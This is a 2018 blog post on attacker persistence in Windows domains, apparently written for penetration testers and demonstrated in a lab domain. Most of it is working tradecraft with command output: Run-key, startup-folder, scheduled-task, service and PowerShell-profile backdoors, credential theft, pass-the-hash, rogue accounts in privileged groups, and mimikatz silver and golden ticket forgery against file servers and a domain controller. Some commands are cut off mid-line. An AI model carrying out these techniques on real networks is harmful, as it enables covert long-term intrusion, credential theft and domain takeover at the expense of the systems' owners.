# A View of Persistence

22 March 2018 in blog

> *Persistence, noun, the continued or prolonged existence of something.*

This is not something that usually gets much attention, despite it being a vital aspect of an attack lifecycle. When reading up on subjects like the "Cyber Kill Chain", we frequently see 7 main steps:

1. Recon
2. Weaponisation
3. Delivery
4. Exploitation
5. Installation
6. Command & Control
7. Actions on Objectives

In this post, I want to run through some basic persistence strategies and techniques.

## C2 vs Privilege

The installation step can be described as "the installation of a backdoor on the compromised system, allowing an adversary

However, "maintaining persistence" is much more than just regaining C2 over a single (or even multiple) system(s) - it's about maintaining levels of privilege and access across an envronment.

If you have to repeat steps 1-4 to get back to a previous point, you are not being persistent.

# C2

## Userland vs Elevated

Typically, persistence mechanisms that trigger a C2 channel exist in one of the following levels:

1. Medium Mandatory Level in the context of a standard user.
2. High Mandatory Level in the context of SYSTEM.

### Userland Techniques

#### HKCU

Create a `REG_SZ` value in the `Run` key within `HKCU\Software\Microsoft\Windows` . (Other keys are available).

```
Value name:  Backdoor
```

```
PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```

### Scheduled Tasks

```
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```

There are multiple trigger options to explore.

### PowerShell Profiles

If your user is a heavy PowerShell user, backdoor their PowerShell profile.

```
PS C:\> Test-Path $profile
False

PS C:\> New-Item -Path $profile -Type File –Force
```

## Elevated Techniques

### HKLM

Similar to HKCU. Create a `REG_SZ` value in the `Run` key within `HKLM\Software\Microsoft\Windows` .

```
Value name:  Backdoor
Value data:  C:\Windows\Temp\backdoor.exe
```

### Services

Create a service that will start automatically or on-demand.

```
PS C:\> New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here."
```

### Scheduled Tasks

Scheduled Task to run as SYSTEM, everyday at 9am.

# Maintaining Privilege

### Passwords

Steal clear text passwords and use them with `runas` or other session spawning functionality.

```
C:\Users\rasta>dir \\fs01\c$
Access is denied.
```

```
C:\Users\rasta>runas /netonly /user:FS01\Administrator cmd
Enter the password for FS01\Administrator:
Attempting to start cmd as user "FS01\Administrator" ...
```

```
C:\Windows\system32>dir \\fs01\c$
 Volume in drive \\fs01\c$ has no label.
 Volume Serial Number is 069A-2329

 Directory of \\fs01\c$

16/07/2016  13:23    <DIR>          PerfLogs
14/10/2017  10:26    <DIR>          Program Files
```

If you can't get passwords, use NTLM hashes with techniques such as Pass-the-Hash or psexec. Both domain accounts and local accounts can work.

```
C:\Users\rasta>dir \\fs01\c$
Access is denied.
```

```
mimikatz # sekurlsa::pth /user:Administrator /domain:FS01 /rc4:fc525c9683e8fe067095ba2ddc971889 /ptt
user    : Administrator
domain  : FS01
program : cmd.exe
impers. : no
NTLM    : fc525c9683e8fe067095ba2ddc971889
  |  PID  3876
  |  TID  2952
  |  LSA Process is now R/W
  |  LUID 0 ; 691999 (00000000:000a8f1f)
  \_ msv1_0   - data copy @ 00000214BC31C610 : OK !
  \_ kerberos - data copy @ 00000214BC5529B8
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
```

```
16/07/2016  13:23    <DIR>          PerfLogs
14/10/2017  10:26    <DIR>          Program Files
16/07/2016  13:23    <DIR>          Program Files (x86)
22/03/2018  14:57    <DIR>          Users
22/03/2018  14:57    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)  41,993,674,752 bytes free
```

### Local Groups

Adding new local users can provide a method of getting back into machines. If placing them in the `Administrators` group is too obvious, use other privileged groups such as `Remote Desktop Users`, `Remote Management Users` or `Backup Operators`.

### Domain Groups

Often times, domain groups are created to administer groups of machines by granting local admin privilege over them. Adding your own domain account to these groups can provide you persistent access to multiple machines at once.

### Silver Tickets

With the NTLM hash of a computer account, silver tickets can be used to regain local admin privileges via the CIFS service.

```
mimikatz # kerberos::golden /user:Administrator /domain:testlab.local /sid:S-1-5-21-1516486103-3973840447-1748718438 /targ
User      : Administrator
Domain    : testlab.local (TESTLAB)
SID       : S-1-5-21-1516486103-3973840447-1748718438
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 47b1d9d581f29b3b43845692bd4a0322 - rc4_hmac_nt
Service   : cifs
Target    : fs01
Lifetime  : 22/03/2018 15:25:33 ; 19/03/2028 15:25:33 ; 19/03/2028 15:25:33
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ testlab.local' successfully submitted for current session
```

```
C:\Users\rasta>dir \\fs01\c$
 Volume in drive \\fs01\c$ has no label.
 Volume Serial Number is 069A-2329
```

```
               5 dir(s)  41,994,330,112 bytes free
```

### Golden Tickets

Golden tickets can be used to forge access to any service in the domain.

```
SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 22/03/2018 14:49:02
Object Security ID   : S-1-5-21-1516486103-3973840447-1748718438-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 9063b8edb3d04ed734edd49e5b0adef3
    ntlm- 0: 9063b8edb3d04ed734edd49e5b0adef3
    lm  - 0: be97fc24cf1ad2cc2d193430d113f45c
```

```
C:\Users\rasta>dir \\dc01\c$
Access is denied.
```

```
mimikatz # kerberos::golden /user:Administrator /domain:testlab.local /sid:S-1-5-21-1516486103-3973840447-1748718438 /rc4:
User      : Administrator
```

```
 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ testlab.local' successfully submitted for current session
```

```
C:\Users\rasta>dir \\dc01\c$
 Volume in drive \\dc01\c$ has no label.
 Volume Serial Number is 069A-2329

 Directory of \\dc01\c$

16/07/2016  13:23    <DIR>          PerfLogs
14/10/2017  10:26    <DIR>          Program Files
16/07/2016  13:23    <DIR>          Program Files (x86)
22/03/2018  14:42    <DIR>          Users
22/03/2018  14:48    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)  41,120,235,520 bytes free
```

## Be Strategic

Share on Google Plus

Share on Facebook

Share on Twitter

TAGGED IN

persistence

NEXT PREVIOUS